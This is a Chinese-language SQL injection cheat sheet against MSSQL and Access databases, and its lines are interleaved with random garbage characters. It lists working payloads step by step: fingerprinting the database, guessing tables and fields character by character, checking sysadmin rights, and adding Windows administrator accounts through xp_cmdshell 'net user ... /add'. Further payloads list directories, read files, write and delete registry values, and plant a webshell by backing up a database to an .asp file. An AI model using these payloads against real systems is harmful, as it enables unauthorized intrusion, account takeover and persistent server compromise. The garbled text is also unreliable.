手工脚本注入 / n: W! v2 R% ?' Z
1.判断是否有注入;and 1=1 ;and 1=2 ( C6 h( s2 W; C+ ?8 J0 y. p9 Q
% e+ Y1 z. F' D, _& G* D* a
2.初步判断是否是mssql ;and user>0 9 P6 q, p# u! U8 u
3 }0 t/ s K2 F/ D$ e( S2 E
3.注入参数是字符'and [查询条件] and ''='
6 k! E: h; [5 A
5 {4 Q7 F6 Y2 {4.搜索时没过滤参数的'and [查询条件] and '%25'='
* I6 v2 o$ X0 ~& [1 O8 C
9 q: U5 W# Q, [5.判断数据库系统
0 d! m( e: {, U;and (select count(*) from sysobjects)>0 mssql
8 U6 I5 L* \ @# r;and (select count(*) from msysobjects)>0 access ; I4 d' U# k- B3 Y2 t/ N2 X' m
# g6 Q' y! I$ o# [( ~
6.猜数据库 ;and (select Count(*) from [数据库名])>0 0 H- j l7 Q, v: ?& h' g7 J
% P- [3 ~# \: Q& N4 b
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8 G! F" F# w1 m; Y) ?( @, L
9 ^. h1 j! D1 f8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6 v6 c6 E I) e$ k% H+ `9 A! G4 g; z1 O
: v5 ^5 u8 u- S4 ^ m8 {
9.(1)猜字段的ascii值(access) # { [' g8 q4 ?& x) V. y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
2 k% D2 q- |% H5 Z# x3 k
7 Y, s' n ~- }. ?9 F; |(2)猜字段的ascii值(mssql) 6 ~- F Y4 i$ g( \
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 9 F/ m/ @' F& F6 k
! i$ D+ ^; K4 N9 [8 r+ h6 {" t K10.测试权限结构(mssql)
, V9 o# a) F5 h! B o, ?* n;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 n) g4 X7 l' n4 _;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1 N2 P% y' L- ~: c, r1 w
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- + S3 w5 P) d6 Y; [$ |: L' m
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8 V1 ~6 s# L: i
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- * i: g ^ {, S" t$ W: m$ z1 }
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ) o0 |$ O" S: C! X6 V& D2 s
;and 1=(select IS_MEMBER('db_owner'));--
; M% }4 k9 {0 x8 X5 |7 W
1 a5 n6 H) o* p11.添加mssql和系统的帐户 9 ?" d5 i8 {0 @ P$ \2 c
;exec master.dbo.sp_addlogin username;--
$ J3 S" @9 o* `7 _$ U7 j9 m
# L6 W8 K* q; a;exec master.dbo.sp_password null,username,password;-- , {3 O* T5 Y& t
/ `/ x" `8 M( i P;exec master.dbo.sp_addsrvrolemember sysadmin username;--
. d% \/ _ A( [- i3 C7 K5 t9 s! V0 X9 r# x1 z
;exec master.dbo.xp_cmdshell 'net user username password
$ q7 ~$ U& u9 o* m A/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
- w8 |$ R) X0 E {2 @+ Q4 h" }% V4 j1 Y) w% U
;exec master.dbo.xp_cmdshell 'net user username password /add';--
; V* y0 }7 _. e7 M5 j+ Y
+ K6 d6 [+ J- i5 T! X;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
& I9 e* d% B5 N: O+ F! k" ?5 Y: J' y8 \& d4 F
12.(1)遍历目录 # n; l! v4 h A# j7 F
8 x1 Z# ~: U \# |# _$ a7 ]5 l4 C;create table dirs(paths varchar(100), id int) # Y# D. F) `, ~# [& m2 u
;insert dirs exec master.dbo.xp_dirtree 'c:\'
% V" ~# g( s3 \ m" D7 z4 b;and (select top 1 paths from dirs)>0 " @+ c! d: n7 v4 P) }7 e4 i! F/ o
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
. k8 p6 r2 L0 n6 h
) X3 ]. a; s9 v d+ p) G* Y(2)遍历目录 + u. r. ]9 Z: @: I+ J+ v ~$ _
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
* N5 g2 N% a/ P6 V; [5 [( B;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
- p) \, x5 e* c+ ?;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
( q, I* A+ ~1 a. c: X0 r6 s: {;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
5 T$ \. j8 V- ]3 e+ Q* p;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 , l# L7 M& D$ K6 z( _5 i1 H
8 o4 }" s+ z5 Z i1 Q5 A13.mssql中的存储过程 7 ` f* w/ i w) g0 y$ ^- C
& N$ B6 e+ W# K9 l: m
xp_regenumvalues 注册表根键, 子键 4 S. ]5 v: s& m: G- m( L! u/ S s; K
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
6 Q& W+ k# H3 O4 {4 H" t
7 z7 W! M2 M ~# {! ]5 x h9 zxp_regread 根键,子键,键值名
7 H# b5 c$ \8 n" };exec xp_regread ! R* P# B6 V# x: k+ M
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
' x. m( a5 T8 b6 G3 d% \- V0 v8 b) j" K, a. B8 t
xp_regwrite 根键,子键, 值名, 值类型, 值
7 P Q+ z1 ?# }. z9 H值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
+ {6 M% [( v' d( Q( c) M" A;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
% P" Z1 S! Y5 {, U: `9 K! d
! w( t1 h O% N; t+ dxp_regdeletevalue 根键,子键,值名 - e" y1 y$ S% Y1 S
C, `, `( D4 L2 l( r* s& texec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 9 w( M" F' [+ h/ X/ t: f( G
8 F; o1 M# F8 a+ y: ~( r Kxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 R: o7 A0 m8 S
; E1 A3 P& `% e9 E1 o
14.mssql的backup创建webshell
' J% u! }& V2 q( R' d( N+ {$ Luse model
7 P8 f. v* d( ?7 Fcreate table cmd(str image);
6 a# _& u, `1 j2 D/ q% [insert into cmd(str) values (''); * }# y8 e+ o: W
backup database model to disk='c:\l.asp'; + i+ B1 q6 I: [! i- K) k
/ Y3 |( n d( ]1 L: |+ Z" z15.mssql内置函数
- C; a, P& J1 g( G; k) b; M/ a;and (select @@version)>0 获得Windows的版本号 - d# n# k, H, m1 q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 4 y- j4 T3 S7 j+ ]: l8 E- K
;and (select user_name())>0 爆当前系统的连接用户
2 k) Y7 Z9 Y' h+ `# s* h7 C* W8 w;and (select db_name())>0 得到当前连接的数据库
6 F% S) s: y. h1 e7 G. c h6 h, l% h4 q) ~0 o( A/ c
16.简洁的webshell 1 l" Y/ H+ k6 f' O+ H5 |
; [, j& t1 L/ c" D; L- Puse model 1 }" c/ r6 M7 [
$ `( s4 j- c- W3 z1 gcreate table cmd(str image);
- Z# X! D/ g- `4 V/ @7 G: U/ D. w, V0 j
insert into cmd(str) values ('');
( D) Z+ D+ c0 I3 W: C3 Y! r& F0 Q# u2 p ^* f l0 p
backup database model to disk='g:\wwwtest\l.asp'; & @, R/ q& w* @( ~- _, y
% z v6 O$ I0 _1 R# L7 _8 r
|